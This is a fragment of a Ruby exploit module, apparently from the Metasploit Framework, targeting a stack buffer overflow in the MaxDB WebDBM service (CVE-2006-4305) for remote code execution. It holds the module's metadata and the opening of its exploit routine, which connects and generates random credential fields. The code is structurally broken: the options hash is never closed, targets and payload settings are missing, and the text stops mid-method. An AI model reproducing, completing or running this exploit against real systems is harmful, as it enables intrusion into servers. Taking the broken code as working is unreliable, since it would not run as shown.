##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'MaxDB WebDBM Database Parameter Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the MaxDB WebDBM
service. By sending a specially-crafted HTTP request that contains
an overly long database name. A remote attacker could overflow a buffer
and execute arbitrary code on the system with privileges of the wahttp process.
This module has been tested against MaxDB 7.6.00.16 and MaxDB 7.6.00.27.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2006-4305'],
['OSVDB', '28300'],
['BID', '19660'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
register_options( [ Opt::RPORT(9999) ], self.class )
end
def exploit
connect
server = rand_text_english(5, payload_badchars)
user = rand_text_english(5, payload_badchars)
pass = rand_text_english(5, payload_badchars)
port = rand(65535).to_s